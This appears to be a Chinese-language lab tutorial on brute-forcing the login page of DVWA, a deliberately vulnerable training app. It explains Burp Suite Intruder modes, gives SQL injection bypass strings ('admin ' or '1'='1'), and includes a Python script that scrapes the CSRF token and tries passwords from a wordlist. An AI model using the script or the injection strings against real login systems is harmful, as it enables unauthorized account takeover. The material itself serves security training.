一、暴力破解流程
(1)抓包
(2)导入intruder
(3)清空参数
(4)添加所选参数
(5)添加字典
(6)爆破
二、Burp Suite参数
(1)sniper
使用一个字典,在破解用户名和密码的过程中,破解分为两个步骤:密码先保持不变,用户名逐个匹配字典中的值;然后用户名保持不变,密码逐个匹配字典中的值。
(2)battering ram
使用一个字典,在破解用户名和密码的过程中,使用同用户名同密码的匹配方式,逐个取出字典中的值,这个值即是用户名也是密码(适用于用户名和密码相同的破解)
(3)pitchfork
使用两个字典,在破解用户名和密码过程中,两个字典的同一行分别为用户名和密码,逐一进行匹配。字典短的匹配不到,破解结束(简称:同行匹配)
(4)cluster bomb
使用两个字典,在破解用户名和密码过程中,逐一拿出第一个字典中的每个值,匹配第二个字典中的所有值;(简称:交叉匹配)
三、万能密码(暴力破解low级别)
(1) admin ’ #
(2) admin ’ or ‘1’='1
四、暴力破解
1、low级别
直接进行暴力破解或者万能密码
2、medium级别
使用暴力破解,万能密码受到限制
(1)相对于low级别,增加了mysqli_real_escape_string()函数,此函数会转义sql语句中的特殊字符
(2)masql_real_escape_string()函数介绍
3、high级别
high级别每次的登录就会出现出现新的token值
使用脚本先获取token值,然后暴力破解
from bs4 import BeautifulSoup
import requests,re
#构造数据包
attack_ip = input('输入DVWA所在IP:')
header={'Host': f'{attack_ip}',
'Cache-Control': 'no-cache, must-revalidate',
'If-None-Match': "307-52156c6a290c0",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': '*/*',
'Referer': f'http://{attack_ip}/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Cookie': 'security=high; PHPSESSID=355dbnek6b5vnjce6181eg9k07'}
requrl = f"http://{attack_ip}/dvwa/vulnerabilities/brute/index.php"
def get_token(URL,header):
#req = urllib.Request(url=URL,headers=header)
response = requests.get(url=URL,headers=header)
print (response.status_code,end=' ')
the_page = response.text
# print(the_page)
print (len(the_page))
#使用正则表达式获得token值
token = re.findall(r"user_token.*?value='(.*?)'",the_page)
# print(token[0])
return token[0]
user_token = get_token(requrl,header)
i=0
for line in open('常用密码.txt'):
URL = f"http://{attack_ip}/DVWA-master/vulnerabilities/brute/index.php"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
# print(URL)
i = i+1
print (i,'admin',line.strip(),end = ' ')
user_token = get_token(URL,header)
4、impossible级别
使用登录次数限制,超过次数自动锁定账户